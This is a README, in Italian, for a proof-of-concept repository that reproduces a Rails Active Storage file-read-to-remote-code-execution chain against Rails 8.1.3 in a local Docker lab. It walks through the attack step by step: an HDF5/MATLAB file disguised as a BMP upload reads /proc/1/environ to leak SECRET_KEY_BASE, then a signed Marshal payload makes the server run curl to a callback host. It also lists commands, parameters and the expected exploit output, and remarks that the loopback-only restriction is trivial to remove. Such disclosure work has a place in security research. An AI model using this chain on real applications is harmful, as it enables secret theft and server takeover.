
PoC per CVE-2026-66066 in Ruby on Rails
Questa repository riproduce la catena di lettura file-to-RCE di Rails Active Storage descritta da GHSA-xr9x-r78c-5hrm contro Rails 8.1.3, la più recente release 8.1 affetta. Rails 8.1.3.1 è il controllo patchato.
Usala solo nel laboratorio locale usa-e-getta descritto qui. Il driver HTTP rifiuta target non-loopback (sebbene sia banale modificare il codice Python per test autorizzati su altri target).
Il target è un'applicazione Rails convenzionale. La sua immagine finale contiene:
ruby:3.4.10-slim;rails _VERSION_ new;curl, libjemalloc2, libvips e sqlite3;./bin/thrust ./bin/rails server; eUpload con un singolo allegato Active Storage, le ordinarie azioni HTML new, create e show, e una variante immagine PNG.Non contiene un builder di artefatti, artefatto di upload, driver di exploit, costruttore Marshal, codice di callback, endpoint diagnostico, tracing del loader, script di boot personalizzato, fixture di segreti del target o route solo-exploit. Non imposta VIPS_TRACE, non riordina l'ambiente di processo, non sovrascrive il serializer di Active Storage, né configura un processore di immagini non predefinito.
La .dockerignore radice invia al build solo Dockerfile e overlay/. Gli script Python lato host e tutti gli artefatti generati sono esclusi dal contesto di build Docker, non semplicemente omessi dal passaggio di copia finale.
L'overlay completo del target è costituito da cinque file ordinari:
app/controllers/uploads_controller.rb
app/models/upload.rb
app/views/uploads/new.html.erb
app/views/uploads/show.html.erb
config/routes.rb
La pagina show usa la minima trasformazione normale:
<%= image_tag @upload.avatar.variant(format: :png) %>
Una nuova applicazione Rails intatta non ha alcun modello o pagina applicativa che accetti un allegato, quindi quei cinque file sono la funzionalità applicativa minima necessaria per rappresentare la condizione di upload di immagini non fidate dell'advisory.
I prerequisiti sono Docker, OpenSSL, Python 3 e h5py per il builder dell'artefatto.
Nel terminale 1:
./run_lab.sh 8.1.3
Lo script costruisce minimal-rails-vips:8.1.3, genera un SECRET_KEY_BASE effimero a meno che non ne venga già fornito uno, pubblica l'applicazione solo su 127.0.0.1:3000 ed esegue l'entrypoint generato e il comando predefinito dell'immagine. Nel target non viene montata alcuna directory sorgente né artefatto.
Se la porta 3000 è già occupata, seleziona un'altra porta di loopback senza modificare l'immagine:
HOST_PORT=33020 ./run_lab.sh 8.1.3
Usa la stessa porta nel --target del driver.
Nel terminale 2:
python3 -m venv .venv
. .venv/bin/activate
python3 -m pip install h5py
python3 rails_vips_oast_poc.py \
--target http://127.0.0.1:3000 \
--oast https://YOUR-OAST-DOMAIN.example/callback
rails_vips_oast_poc.py è un builder e driver HTTP monouso. A meno che non venga fornito --artifact, costruisce l'upload in una directory temporanea privata, lo conserva per l'intera sequenza di richieste e lo rimuove quando il processo termina. Costruisce entrambi gli stadi invece di estrarre un payload statico:
h5py di creare un file MATLAB/HDF5 con un blocco utente di 512 byte.uint8 little-endian 1 × 1024 chiamato environment./proc/1/environ, offset zero, con un'estensione limitata di 1.024 byte.MATLAB_class="uint8" e scrive l'header MATLAB 5.0 usato dallo sniffer matload di libvips.Il programma RCE incorporato è fissato a /usr/bin/curl con un array di argomenti strutturato. Esegue una sola GET all'URL OAST configurato e invia solo il token di correlazione casuale rails_ghsa_xr9x. Non usa una shell e non include segreti recuperati, output di comandi, contenuti di file o un identificatore del target nel callback.
I parametri dell'artefatto sono:
--external-path: file assoluto lato target, default /proc/1/environ;--bytes: estensione esterna limitata da 128 a 4096, default 1024;--oast: URL base di callback incorporato nel payload; e--nonce: nonce esadecimale opzionale di 16 byte per un artefatto riproducibile.L'URL OAST predefinito è sicuro per il loopback. Fornisci un URL ricevitore raggiungibile dal container per la verifica end-to-end.
Per conservare l'upload generato per ispezione o riutilizzo, aggiungi un percorso dell'artefatto:
python3 rails_vips_oast_poc.py \
--target http://127.0.0.1:3000 \
--oast https://YOUR-OAST-DOMAIN.example/callback \
--artifact environment-read.bmp
Un --artifact esistente viene validato e riutilizzato. In quel caso, se fornito, --oast deve corrispondere al suo URL di callback incorporato. Aggiungi --force per ricostruirlo e sostituirlo atomicamente con i parametri correnti del builder.
Per la creazione dell'artefatto senza alcuna richiesta HTTP, il builder compagno è ancora disponibile:
python3 build_upload_artifact.py \
--output environment-read.bmp \
--oast https://YOUR-OAST-DOMAIN.example/callback
--target ha come default http://127.0.0.1:3000 ed è limitato al loopback letterale o a localhost.
L'output vulnerabile atteso include:
artifact_mode=constructed
artifact_retained=false
embedded_payload=true
safe_png_representation_http=200
direct_blob_create_http=200
direct_object_put_http=204
environment_representation_http=200
returned_geometry=1x1024x1
ARBITRARY_ENV_READ_RESULT=CONFIRMED
marshal_source=embedded_artifact
rce_program=/usr/bin/curl
oast_probe_http=500
OAST_RESULT=CHECK_RECEIVER
Fai corrispondere oast_nonce nel terminale con il parametro query rails_ghsa_xr9x=<nonce> ricevuto dal servizio OAST. L'HTTP 500 dalla richiesta di rappresentazione finale è atteso: il callback avviene mentre l'Hash Marshal autenticato viene ricostruito, prima che la trasformazione complessiva fallisca successivamente.
La parte builder richiede h5py; le parti HTTP e crittografiche usano solo la libreria standard di Python:
image/bmp, quindi carica i byte costruiti.matload non sottoposta a fuzzing. La PNG restituita espone i byte del dataset esterno, incluso il SECRET_KEY_BASE runtime.ActiveStorage, legge il payload Marshal già costruito dall'artefatto, lo firma per lo scopo variation e richiede l'URL di rappresentazione risultante./usr/bin/curl e produce il callback OOB cieco.